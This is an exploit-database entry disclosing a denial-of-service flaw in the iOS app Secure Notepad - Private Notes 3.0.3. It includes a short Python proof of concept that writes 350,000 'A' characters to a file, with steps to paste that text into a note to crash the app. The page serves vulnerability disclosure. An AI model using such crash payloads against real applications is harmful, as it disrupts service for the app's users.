Secure Notepad Private Notes 3.0.3 - Denial of Service (PoC)

vendor:

Secure Notepad - Private Notes

by:

Geovanni Ruiz

7,5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Secure Notepad - Private Notes

Affected Version From: 3.0.3

Affected Version To: 3.0.3

Patch Exists: NO

Related CWE: N/A

CPE: 711178888

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: iOS

2021

Secure Notepad Private Notes 3.0.3 – Denial of Service (PoC)

Secure Notepad - Private Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note. Successful exploitation will cause the application to stop working. The exploit has been tested against iOS 14.2.

Mitigation:

Ensure that the application is not vulnerable to DoS attacks by validating user input and limiting the amount of data that can be sent to the application.

Source

Exploit-DB raw data:

# Exploit Title: Secure Notepad Private Notes 3.0.3 - Denial of Service (PoC)
# Date: 06-14-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/us/app/secure-notepad-private-notes/id711178888
# Version: 3.0.3
# Category: DoS (iOS)

##### Vulnerability #####

Secure Notepad - Private Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")